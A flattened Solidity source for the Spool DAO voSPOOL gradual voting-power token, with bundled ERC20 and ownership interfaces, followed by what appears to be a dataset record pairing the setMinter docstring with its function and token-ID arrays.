gradual voting power (fully-matured + maturing) */ function getTotalGradualVotingPower() external view returns (uint256) { (GlobalGradual memory global, ) = _getUpdatedGradual(); return _getTotalGradualVotingPower(global); } /** * @notice returns updated global gradual struct * * @return global updated global gradual struct */ function getGlobalGradual() external view returns (GlobalGradual memory) { (GlobalGradual memory global, ) = _getUpdatedGradual(); return global; } /** * @notice returns not updated global gradual struct * * @return global updated global gradual struct */ function getNotUpdatedGlobalGradual() external view returns (GlobalGradual memory) { return _globalGradual; } /** * @notice returns updated user gradual voting power (fully-matured and maturing) * * @param user address holding voting power * @return userGradualVotingPower user gradual voting power (fully-matured + maturing) */ function getUserGradualVotingPower(address user) external view returns (uint256) { (UserGradual memory _userGradual, ) = _getUpdatedGradualUser(user); return _getUserGradualVotingPower(_userGradual); } /** * @notice returns updated user gradual struct * * @param user user address * @return _userGradual user updated gradual struct */ function getUserGradual(address user) external view returns (UserGradual memory) { (UserGradual memory _userGradual, ) = _getUpdatedGradualUser(user); return _userGradual; } /** * @notice returns not updated user gradual struct * * @param user user address * @return _userGradual user updated gradual struct */ function getNotUpdatedUserGradual(address user) external view returns (UserGradual memory) { return _userGraduals[user]; } /** * @notice Returns current active tranche index * * @return trancheIndex current tranche index */ function getCurrentTrancheIndex() public view returns (uint16) { return _getTrancheIndex(block.timestamp); } /** * @notice Returns tranche index based on `time` * @dev `time` can be any time inside the tranche * * Requirements: * * - `time` must be equal to more than first tranche time * * @param time tranche time time to get the index for * @return trancheIndex tranche index at `time` */ function getTrancheIndex(uint256 time) external view returns (uint256) { require( time >= firstTrancheStartTime, "voSPOOL::getTrancheIndex: Time must be more or equal to the first tranche time" ); return _getTrancheIndex(time); } /** * @notice Returns tranche index based at time * * @param time unix time * @return trancheIndex tranche index at `time` */ function _getTrancheIndex(uint256 time) private view returns (uint16) { unchecked { return uint16(((time - firstTrancheStartTime) / TRANCHE_TIME) + 1); } } /** * @notice Returns next tranche end time * * @return trancheEndTime end time for next tranche */ function getNextTrancheEndTime() external view returns (uint256) { return getTrancheEndTime(getCurrentTrancheIndex()); } /** * @notice Returns tranche end time for tranche index * * @param trancheIndex tranche index * @return trancheEndTime end time for `trancheIndex` */ function getTrancheEndTime(uint256 trancheIndex) public view returns (uint256) { return firstTrancheStartTime + trancheIndex * TRANCHE_TIME; } /** * @notice Returns last finished tranche index * * @return trancheIndex last finished tranche index */ function getLastFinishedTrancheIndex() public view returns (uint16) { unchecked { return getCurrentTrancheIndex() - 1; } } /* ---------- GRADUAL POWER: MINT FUNCTIONS ---------- */ /** * @notice Mints the provided amount of tokens to the specified user to gradually mature up to the amount. * @dev Saves the amount to tranche user index, so the voting power starts maturing. * * Requirements: * * - the caller must be the autorized * * @param to gradual mint to user * @param amount gradual mint amount */ function mintGradual(address to, uint256 amount) external onlyGradualMinter updateGradual updateGradualUser(to) { uint48 trimmedAmount = _trim(amount); _mintGradual(to, trimmedAmount); emit GradualMinted(to, amount); } /** * @notice Mints the provided amount of tokens to the specified user to gradually mature up to the amount. * @dev Saves the amount to tranche user index, so the voting power starts maturing. * * @param to gradual mint to user * @param trimmedAmount gradual mint trimmed amount */ function _mintGradual(address to, uint48 trimmedAmount) private { if (trimmedAmount == 0) { return; } UserGradual memory _userGradual = _userGraduals[to]; // add new maturing amount to user and global amount _userGradual.maturingAmount += trimmedAmount; _globalGradual.totalMaturingAmount += trimmedAmount; // add maturing amount to user tranche UserTranche memory latestTranche = _getUserTranche(to, _userGradual.latestTranchePosition); uint16 currentTrancheIndex = getCurrentTrancheIndex(); bool isFirstGradualMint = !_hasTranches(_userGradual); // if latest user tranche is not current index, update latest // user can have first mint or last tranche deposited is finished if (isFirstGradualMint || latestTranche.index < currentTrancheIndex) { UserTranchePosition memory nextTranchePosition = _getNextUserTranchePosition( _userGradual.latestTranchePosition ); // if first time gradual minting set oldest tranche position if (isFirstGradualMint) { _userGradual.oldestTranchePosition = nextTranchePosition; } // update latest tranche _userGradual.latestTranchePosition = nextTranchePosition; latestTranche = UserTranche(trimmedAmount, currentTrancheIndex); } else { // if user already minted in current tranche, add additional amount latestTranche.amount += trimmedAmount; } // update global tranche amount _addGlobalTranche(latestTranche.index, trimmedAmount); // store updated user values _setUserTranche(to, _userGradual.latestTranchePosition, latestTranche); _userGraduals[to] = _userGradual; } /** * @notice add `amount` to global tranche `index` * * @param index tranche index * @param amount amount to add */ function _addGlobalTranche(uint256 index, uint48 amount) private { Tranche storage tranche = _getTranche(index); tranche.amount += amount; } /** * @notice sets updated `user` `tranche` at position * * @param user user address to set tranche * @param userTranchePosition position to set the `tranche` at * @param tranche updated `user` tranche */ function _setUserTranche( address user, UserTranchePosition memory userTranchePosition, UserTranche memory tranche ) private { UserTranches storage _userTranches = userTranches[user][userTranchePosition.arrayIndex]; if (userTranchePosition.position == 0) { _userTranches.zero = tranche; } else if (userTranchePosition.position == 1) { _userTranches.one = tranche; } else if (userTranchePosition.position == 2) { _userTranches.two = tranche; } else { _userTranches.three = tranche; } } /* ---------- GRADUAL POWER: BURN FUNCTIONS ---------- */ /** * @notice Burns the provided amount of gradual power from the specified user. * @dev User loses all matured power accumulated till now. * Voting power starts maturing from the start if there is any amount left. * * Requirements: * * - the caller must be the gradual minter * * @param from burn from user * @param amount burn amount * @param burnAll true to burn all user amount */ function burnGradual( address from, uint256 amount, bool burnAll ) external onlyGradualMinter updateGradual updateGradualUser(from) { UserGradual memory _userGradual = _userGraduals[from]; uint48 userTotalGradualAmount = _userGradual.maturedVotingPower + _userGradual.maturingAmount; // remove user matured power if (_userGradual.maturedVotingPower > 0) { _globalGradual.totalMaturedVotingPower -= _userGradual.maturedVotingPower; _userGradual.maturedVotingPower = 0; } // remove user maturing if (_userGradual.maturingAmount > 0) { _globalGradual.totalMaturingAmount -= _userGradual.maturingAmount; _userGradual.maturingAmount = 0; } // remove user unmatured power if (_userGradual.rawUnmaturedVotingPower > 0) { _globalGradual.totalRawUnmaturedVotingPower -= _userGradual.rawUnmaturedVotingPower; _userGradual.rawUnmaturedVotingPower = 0; } // if user has any tranches, remove all of them from user and global if (_hasTranches(_userGradual)) { uint256 fromIndex = _userGradual.oldestTranchePosition.arrayIndex; uint256 toIndex = _userGradual.latestTranchePosition.arrayIndex; // loop over user tranches and delete all of them for (uint256 i = fromIndex; i <= toIndex; i++) { // delete from global tranches _deleteUserTranchesFromGlobal(userTranches[from][i]); // delete user tranches delete userTranches[from][i]; } } // reset oldest tranche (meaning user has no tranches) _userGradual.oldestTranchePosition = UserTranchePosition(0, 0); // apply changes to storage _userGraduals[from] = _userGradual; emit GradualBurned(from, amount, burnAll); // if we don't burn all gradual amount, restart maturing if (!burnAll) { uint48 trimmedAmount = _trimRoundUp(amount); // if user still has some amount left, mint gradual from start if (userTotalGradualAmount > trimmedAmount) { unchecked { uint48 userAmountLeft = userTotalGradualAmount - trimmedAmount; // mint amount left _mintGradual(from, userAmountLeft); } } } } /** * @notice remove user tranches amounts from global tranches * @dev remove for all four user tranches in the struct * * @param _userTranches user tranches */ function _deleteUserTranchesFromGlobal(UserTranches memory _userTranches) private { _removeUserTrancheFromGlobal(_userTranches.zero); _removeUserTrancheFromGlobal(_userTranches.one); _removeUserTrancheFromGlobal(_userTranches.two); _removeUserTrancheFromGlobal(_userTranches.three); } /** * @notice remove user tranche amount from global tranche * * @param userTranche user tranche */ function _removeUserTrancheFromGlobal(UserTranche memory userTranche) private { if (userTranche.amount > 0) { Tranche storage tranche = _getTranche(userTranche.index); tranche.amount -= userTranche.amount; } } /* ---------- GRADUAL POWER: UPDATE GLOBAL FUNCTIONS ---------- */ /** * @notice updates global gradual voting power * @dev * * Requirements: * * - the caller must be the gradual minter */ function updateVotingPower() external override onlyGradualMinter { _updateGradual(); } /** * @notice updates global gradual voting power * @dev updates only if changes occured */ function _updateGradual() private { (GlobalGradual memory global, bool didUpdate) = _getUpdatedGradual(); if (didUpdate) { _globalGradual = global; emit GlobalGradualUpdated( global.lastUpdatedTrancheIndex, global.totalMaturedVotingPower, global.totalMaturingAmount, global.totalRawUnmaturedVotingPower ); } } /** * @notice returns updated global gradual values * @dev the update is in-memory * * @return global updated GlobalGradual struct * @return didUpdate flag if `global` was updated */ function _getUpdatedGradual() private view returns (GlobalGradual memory global, bool didUpdate) { uint256 lastFinishedTrancheIndex = getLastFinishedTrancheIndex(); global = _globalGradual; // update gradual until we reach last finished index while (global.lastUpdatedTrancheIndex < lastFinishedTrancheIndex) { // increment index before updating so we calculate based on finished index global.lastUpdatedTrancheIndex++; _updateGradualForTrancheIndex(global); didUpdate = true; } } /** * @notice update global gradual values for tranche `index` * @dev the update is done in-memory on `global` struct * * @param global global gradual struct */ function _updateGradualForTrancheIndex(GlobalGradual memory global) private view { // update unmatured voting power // every new tranche we add totalMaturingAmount to the _totalRawUnmaturedVotingPower global.totalRawUnmaturedVotingPower += global.totalMaturingAmount; // move newly matured voting power to matured // do only if contract is old enough so full power could be achieved if (global.lastUpdatedTrancheIndex >= FULL_POWER_TRANCHES_COUNT) { uint256 maturedIndex = global.lastUpdatedTrancheIndex - FULL_POWER_TRANCHES_COUNT + 1; uint48 newMaturedVotingPower = _getTranche(maturedIndex).amount; // if there is any new fully-matured voting power, update if (newMaturedVotingPower > 0) { // remove new fully matured voting power from non matured raw one uint56 newMaturedAsRawUnmatured = _getMaturedAsRawUnmaturedAmount(newMaturedVotingPower); global.totalRawUnmaturedVotingPower -= newMaturedAsRawUnmatured; // remove new fully-matured power from maturing amount global.totalMaturingAmount -= newMaturedVotingPower; // add new fully-matured voting power global.totalMaturedVotingPower += newMaturedVotingPower; } } } /* ---------- GRADUAL POWER: UPDATE USER FUNCTIONS ---------- */ /** * @notice update gradual user voting power * @dev also updates global gradual voting power * * Requirements: * * - the caller must be the gradual minter * * @param user user address to update */ function updateUserVotingPower(address user) external override onlyGradualMinter { _updateGradual(); _updateGradualUser(user); } /** * @notice update gradual user struct storage * * @param user user address to update */ function _updateGradualUser(address user) private { (UserGradual memory _userGradual, bool didUpdate) = _getUpdatedGradualUser(user); if (didUpdate) { _userGraduals[user] = _userGradual; emit UserGradualUpdated( user, _userGradual.lastUpdatedTrancheIndex, _userGradual.maturedVotingPower, _userGradual.maturingAmount, _userGradual.rawUnmaturedVotingPower ); } } /** * @notice returns updated user gradual struct * @dev the update is returned in-memory * The update is done in 3 steps: * 1. check if user ia alreas, update last updated undex * 2. update voting power for tranches that have fully-matured (if any) * 3. update voting power for tranches that are still maturing * * @param user updated for user address * @return _userGradual updated user gradual struct * @return didUpdate flag if user gradual has updated */ function _getUpdatedGradualUser(address user) private view returns (UserGradual memory, bool) { UserGradual memory _userGradual = _userGraduals[user]; uint16 lastFinishedTrancheIndex = getLastFinishedTrancheIndex(); // 1. if user already updated in this tranche index, skip if (_userGradual.lastUpdatedTrancheIndex == lastFinishedTrancheIndex) { return (_userGradual, false); } // update user if it has maturing power if (_hasTranches(_userGradual)) { // 2. update fully-matured tranches uint16 lastMaturedIndex = _getLastMaturedIndex(); if (lastMaturedIndex > 0) { UserTranche memory oldestTranche = _getUserTranche(user, _userGradual.oldestTranchePosition); // update all fully-matured user tranches while (_hasTranches(_userGradual) && oldestTranche.index <= lastMaturedIndex) { // mature _matureOldestUsersTranche(_userGradual, oldestTranche); // get new user oldest tranche oldestTranche = _getUserTranche(user, _userGradual.oldestTranchePosition); } } // 3. update still maturing tranches if (_isMaturing(_userGradual, lastFinishedTrancheIndex)) { // get number of passed indexes uint56 indexesPassed = lastFinishedTrancheIndex - _userGradual.lastUpdatedTrancheIndex; // add new user matured power _userGradual.rawUnmaturedVotingPower += _userGradual.maturingAmount * indexesPassed; // last synced index _userGradual.lastUpdatedTrancheIndex = lastFinishedTrancheIndex; } } // update user last updated tranche index _userGradual.lastUpdatedTrancheIndex = lastFinishedTrancheIndex; return (_userGradual, true); } /** * @notice mature users oldest tranche, and update oldest with next user tranche * @dev this is called only if we know `oldestTranche` is mature * Updates are done im-memory * * @param _userGradual user gradual struct to update * @param oldestTranche users oldest struct (fully matured one) */ function _matureOldestUsersTranche(UserGradual memory _userGradual, UserTranche memory oldestTranche) private pure { uint16 fullyMaturedFinishedIndex = _getFullyMaturedAtFinishedIndex(oldestTranche.index); uint48 newMaturedVotingPower = oldestTranche.amount; // add new matured voting power // calculate number of passed indexes between last update until fully matured index uint56 indexesPassed = fullyMaturedFinishedIndex - _userGradual.lastUpdatedTrancheIndex; _userGradual.rawUnmaturedVotingPower += _userGradual.maturingAmount * indexesPassed; // update new fully-matured voting power uint56 newMaturedAsRawUnmatured = _getMaturedAsRawUnmaturedAmount(newMaturedVotingPower); // update user gradual values in respect of new fully-matured amount // remove new fully matured voting power from non matured raw one _userGradual.rawUnmaturedVotingPower -= newMaturedAsRawUnmatured; // add new fully-matured voting power _userGradual.maturedVotingPower += newMaturedVotingPower; // remove new fully-matured power from maturing amount _userGradual.maturingAmount -= newMaturedVotingPower; // add next tranche as oldest _setNextOldestUserTranchePosition(_userGradual); // update last updated index until fully matured index _userGradual.lastUpdatedTrancheIndex = fullyMaturedFinishedIndex; } /** * @notice returns index at which the maturing will finish * @dev * e.g. if FULL_POWER_TRANCHES_COUNT=2 and passing index=1, * maturing will complete at the end of index 2. * This is the index we return, similar to last finished index. * * @param index index from which to derive fully matured finished index */ function _getFullyMaturedAtFinishedIndex(uint256 index) private pure returns (uint16) { return uint16(index + FULL_POWER_TRANCHES_COUNT - 1); } /** * @notice updates user oldest tranche position to next one in memory * @dev this is done after an oldest tranche position matures * If oldest tranch position is same as latest one, all user * tranches have matured. In this case we remove tranhe positions from the user * * @param _userGradual user gradual struct to update */ function _setNextOldestUserTranchePosition(UserGradual memory _userGradual) private pure { // if oldest tranche is same as latest, this was the last tranche and we remove it from the user if ( _userGradual.oldestTranchePosition.arrayIndex == _userGradual.latestTranchePosition.arrayIndex && _userGradual.oldestTranchePosition.position == _userGradual.latestTranchePosition.position ) { // reset user tranches as all of them matured _userGradual.oldestTranchePosition = UserTranchePosition(0, 0); } else { // set next user tranche as oldest _userGradual.oldestTranchePosition = _getNextUserTranchePosition(_userGradual.oldestTranchePosition); } } /* ---------- GRADUAL POWER: GLOBAL HELPER FUNCTIONS ---------- */ /** * @notice returns total gradual voting power from `global` * @dev the returned amount is untrimmed * * @param global global gradual struct * @return totalGradualVotingPower total gradual voting power (fully-matured + maturing) */ function _getTotalGradualVotingPower(GlobalGradual memory global) private pure returns (uint256) { return _untrim(global.totalMaturedVotingPower) + _getMaturingVotingPowerFromRaw(_untrim(global.totalRawUnmaturedVotingPower)); } /** * @notice returns global tranche storage struct * @dev we return struct, so we can manipulate the storage in other functions * * @param index tranche index * @return tranche tranche storage struct */ function _getTranche(uint256 index) private view returns (Tranche storage) { uint256 arrayindex = index / TRANCHES_PER_WORD; GlobalTranches storage globalTranches = indexedGlobalTranches[arrayindex]; uint256 globalTranchesPosition = index % TRANCHES_PER_WORD; if (globalTranchesPosition == 0) { return globalTranches.zero; } else if (globalTranchesPosition == 1) { return globalTranches.one; } else if (globalTranchesPosition == 2) { return globalTranches.two; } else if (globalTranchesPosition == 3) { return globalTranches.three; } else { return globalTranches.four; } } /* ---------- GRADUAL POWER: USER HELPER FUNCTIONS ---------- */ /** * @notice gets `user` `tranche` at position * * @param user user address to get tranche from * @param userTranchePosition position to get the `tranche` from * @return tranche `user` tranche */ function _getUserTranche(address user, UserTranchePosition memory userTranchePosition) private view returns (UserTranche memory tranche) { UserTranches storage _userTranches = userTranches[user][userTranchePosition.arrayIndex]; if (userTranchePosition.position == 0) { tranche = _userTranches.zero; } else if (userTranchePosition.position == 1) { tranche = _userTranches.one; } else if (userTranchePosition.position == 2) { tranche = _userTranches.two; } else { tranche = _userTranches.three; } } /** * @notice return last matured tranche index * * @return lastMaturedIndex last matured tranche index */ function _getLastMaturedIndex() private view returns (uint16 lastMaturedIndex) { uint256 currentTrancheIndex = getCurrentTrancheIndex(); if (currentTrancheIndex > FULL_POWER_TRANCHES_COUNT) { unchecked { lastMaturedIndex = uint16(currentTrancheIndex - FULL_POWER_TRANCHES_COUNT); } } } /** * @notice returns the user gradual voting power (fully-matured and maturing) * @dev the returned amount is untrimmed * * @param _userGradual user gradual struct * @return userGradualVotingPower user gradual voting power (fully-matured + maturing) */ function _getUserGradualVotingPower(UserGradual memory _userGradual) private pure returns (uint256) { return _untrim(_userGradual.maturedVotingPower) + _getMaturingVotingPowerFromRaw(_untrim(_userGradual.rawUnmaturedVotingPower)); } /** * @notice returns next user tranche position, based on current one * * @param currentTranchePosition current user tranche position * @return nextTranchePosition next tranche position of `currentTranchePosition` */ function _getNextUserTranchePosition(UserTranchePosition memory currentTranchePosition) private pure returns (UserTranchePosition memory nextTranchePosition) { if (currentTranchePosition.arrayIndex == 0) { nextTranchePosition.arrayIndex = 1; } else { if (currentTranchePosition.position < 3) { nextTranchePosition.arrayIndex = currentTranchePosition.arrayIndex; nextTranchePosition.position = currentTranchePosition.position + 1; } else { nextTranchePosition.arrayIndex = currentTranchePosition.arrayIndex + 1; } } } /** * @notice check if user requires maturing * * @param _userGradual user gradual struct to update * @param lastFinishedTrancheIndex index of last finished tranche index * @return needsMaturing true if user needs maturing, else false */ function _isMaturing(UserGradual memory _userGradual, uint256 lastFinishedTrancheIndex) private pure returns (bool) { return _userGradual.lastUpdatedTrancheIndex < lastFinishedTrancheIndex && _hasTranches(_userGradual); } /** * @notice check if user gradual has any non-matured tranches * * @param _userGradual user gradual struct * @return hasTranches true if user has non-matured tranches */ function _hasTranches(UserGradual memory _userGradual) private pure returns (bool hasTranches) { if (_userGradual.oldestTranchePosition.arrayIndex > 0) { hasTranches = true; } } /* ---------- GRADUAL POWER: HELPER FUNCTIONS ---------- */ /** * @notice return trimmed amount * @dev `amount` is trimmed by `TRIM_SIZE`. * This is done so the amount can be represented in 48bits. * This still gives us enough accuracy so the core logic is not affected. * * @param amount amount to trim * @return trimmedAmount amount divided by `TRIM_SIZE` */ function _trim(uint256 amount) private pure returns (uint48) { return uint48(amount / TRIM_SIZE); } /** * @notice return trimmed amount rounding up if any dust left * * @param amount amount to trim * @return trimmedAmount amount divided by `TRIM_SIZE`, rounded up */ function _trimRoundUp(uint256 amount) private pure returns (uint48 trimmedAmount) { trimmedAmount = _trim(amount); if (_untrim(trimmedAmount) < amount) { unchecked { trimmedAmount++; } } } /** * @notice untrim `trimmedAmount` in respect to `TRIM_SIZE` * * @param trimmedAmount amount previously trimemd * @return untrimmedAmount untrimmed amount */ function _untrim(uint256 trimmedAmount) private pure returns (uint256) { unchecked { return trimmedAmount * TRIM_SIZE; } } /** * @notice calculates voting power from raw unmatured * * @param rawMaturingVotingPower raw maturing voting power amount * @return maturingVotingPower actual maturing power amount */ function _getMaturingVotingPowerFromRaw(uint256 rawMaturingVotingPower) private pure returns (uint256) { return rawMaturingVotingPower / FULL_POWER_TRANCHES_COUNT; } /** * @notice Returns amount represented in raw unmatured value * @dev used to substract fully-matured amount from raw unmatured, when amount matures * * @param amount matured amount * @return asRawUnmatured `amount` multiplied by `FULL_POWER_TRANCHES_COUNT` (raw unmatured amount) */ function _getMaturedAsRawUnmaturedAmount(uint48 amount) private pure returns (uint56) { unchecked { return uint56(amount * FULL_POWER_TRANCHES_COUNT); } } /* ========== OWNER FUNCTIONS ========== */ /** * @notice Sets or resets the instant minter address * * Requirements: * * - the caller must be the owner of the contract * - the minter must not be the zero address * * @param _minter address to set * @param _set true to set, false to reset */ function setMinter(address _minter, bool _set) external onlyOwner { require(_minter != address(0), "voSPOOL::setMinter: minter cannot be the zero address"); minters[_minter] = _set; emit MinterSet(_minter, _set); } /** * @notice Sets or resets the gradual minter address * * Requirements: * * - the caller must be the owner of the contract * - the minter must not be the zero address * * @param _gradualMinter address to set * @param _set true to set, false to reset */ function setGradualMinter(address _gradualMinter, bool _set) external onlyOwner { require(_gradualMinter != address(0), "voSPOOL::setGradualMinter: gradual minter cannot be the zero address"); gradualMinters[_gradualMinter] = _set; emit GradualMinterSet(_gradualMinter, _set); } /* ========== RESTRICTION FUNCTIONS ========== */ /** * @notice Ensures the caller is the instant minter */ function _onlyMinter() private view { require(minters[msg.sender], "voSPOOL::_onlyMinter: Insufficient Privileges"); } /** * @notice Ensures the caller is the gradual minter */ function _onlyGradualMinter() private view { require(gradualMinters[msg.sender], "voSPOOL::_onlyGradualMinter: Insufficient Privileges"); } /* ========== MODIFIERS ========== */ /** * @notice Throws if the caller is not the instant miter */ modifier onlyMinter() { _onlyMinter(); _; } /** * @notice Throws if the caller is not the gradual minter */ modifier onlyGradualMinter() { _onlyGradualMinter(); _; } /** * @notice Update global gradual values */ modifier updateGradual() { _updateGradual(); _; } /** * @notice Update user gradual values */ modifier updateGradualUser(address user) { _updateGradualUser(user); _; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "./interfaces/ISpoolOwner.sol"; abstract contract SpoolOwnable { ISpoolOwner internal immutable spoolOwner; constructor(ISpoolOwner _spoolOwner) { require( address(_spoolOwner) != address(0), "SpoolOwnable::constructor: Spool owner contract address cannot be 0" ); spoolOwner = _spoolOwner; } function isSpoolOwner() internal view returns(bool) { return spoolOwner.isSpoolOwner(msg.sender); } function _onlyOwner() internal view { require(isSpoolOwner(), "SpoolOwnable::onlyOwner: Caller is not the Spool owner"); } modifier onlyOwner() { _onlyOwner(); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface ISpoolOwner { function isSpoolOwner(address user) external view returns(bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; /* ========== STRUCTS ========== */ /** * @notice global gradual struct * @member totalMaturedVotingPower total fully-matured voting power amount * @member totalMaturingAmount total maturing amount (amount of power that is accumulating every week for 1/156 of the amount) * @member totalRawUnmaturedVotingPower total raw voting power still maturing every tranche (totalRawUnmaturedVotingPower/156 is its voting power) * @member lastUpdatedTrancheIndex last (finished) tranche index global gradual has updated */ struct GlobalGradual { uint48 totalMaturedVotingPower; uint48 totalMaturingAmount; uint56 totalRawUnmaturedVotingPower; uint16 lastUpdatedTrancheIndex; } /** * @notice user tranche position struct, pointing at user tranche * @dev points at `userTranches` mapping * @member arrayIndex points at `userTranches` * @member position points at UserTranches position from zero to three (zero, one, two, or three) */ struct UserTranchePosition { uint16 arrayIndex; uint8 position; } /** * @notice user gradual struct, similar to global gradual holds user gragual voting power values * @dev points at `userTranches` mapping * @member maturedVotingPower users fully-matured voting power amount * @member maturingAmount users maturing amount * @member rawUnmaturedVotingPower users raw voting power still maturing every tranche * @member oldestTranchePosition UserTranchePosition pointing at the oldest unmatured UserTranche * @member latestTranchePosition UserTranchePosition pointing at the latest unmatured UserTranche * @member lastUpdatedTrancheIndex last (finished) tranche index user gradual has updated */ struct UserGradual { uint48 maturedVotingPower; // matured voting amount, power accumulated and older than FULL_POWER_TIME, not accumulating anymore uint48 maturingAmount; // total maturing amount (also maximum matured) uint56 rawUnmaturedVotingPower; // current user raw unmatured voting power (increases every new tranche), actual unmatured voting power can be calculated as unmaturedVotingPower / FULL_POWER_TRANCHES_COUNT UserTranchePosition oldestTranchePosition; // if arrayIndex is 0, user has no tranches (even if `latestTranchePosition` is not empty) UserTranchePosition latestTranchePosition; // can only increment, in case of tranche removal, next time user gradually mints we point at tranche at next position uint16 lastUpdatedTrancheIndex; } /** * @title Spool DAO Voting Token interface */ interface IVoSPOOL { /* ========== FUNCTIONS ========== */ function mint(address, uint256) external; function burn(address, uint256) external; function mintGradual(address, uint256) external; function burnGradual( address, uint256, bool ) external; function updateVotingPower() external; function updateUserVotingPower(address user) external; function getTotalGradualVotingPower() external returns (uint256); function getUserGradualVotingPower(address user) external returns (uint256); function getNotUpdatedUserGradual(address user) external view returns (UserGradual memory); function getNotUpdatedGlobalGradual() external view returns (GlobalGradual memory); function getCurrentTrancheIndex() external view returns (uint16); function getLastFinishedTrancheIndex() external view returns (uint16); /* ========== EVENTS ========== */ event Minted(address indexed recipient, uint256 amount); event Burned(address indexed source, uint256 amount); event GradualMinted(address indexed recipient, uint256 amount); event GradualBurned(address indexed source, uint256 amount, bool burnAll); event GlobalGradualUpdated( uint16 indexed lastUpdatedTrancheIndex, uint48 totalMaturedVotingPower, uint48 totalMaturingAmount, uint56 totalRawUnmaturedVotingPower ); event UserGradualUpdated( address indexed user, uint16 indexed lastUpdatedTrancheIndex, uint48 maturedVotingPower, uint48 maturingAmount, uint56 rawUnmaturedVotingPower ); event MinterSet(address indexed minter, bool set); event GradualMinterSet(address indexed minter, bool set); }
* @notice Sets or resets the instant minter address Requirements: - the caller must be the owner of the contract - the minter must not be the zero address @param _minter address to set @param _set true to set, false to reset/
function setMinter(address _minter, bool _set) external onlyOwner { require(_minter != address(0), "voSPOOL::setMinter: minter cannot be the zero address"); minters[_minter] = _set; emit MinterSet(_minter, _set); }
233,265
[ 1, 2785, 578, 20063, 326, 5934, 1131, 387, 1758, 29076, 30, 300, 326, 4894, 1297, 506, 326, 3410, 434, 326, 6835, 300, 326, 1131, 387, 1297, 486, 506, 326, 3634, 1758, 225, 389, 1154, 387, 1758, 358, 444, 225, 389, 542, 638, 358, 444, 16, 629, 358, 2715, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
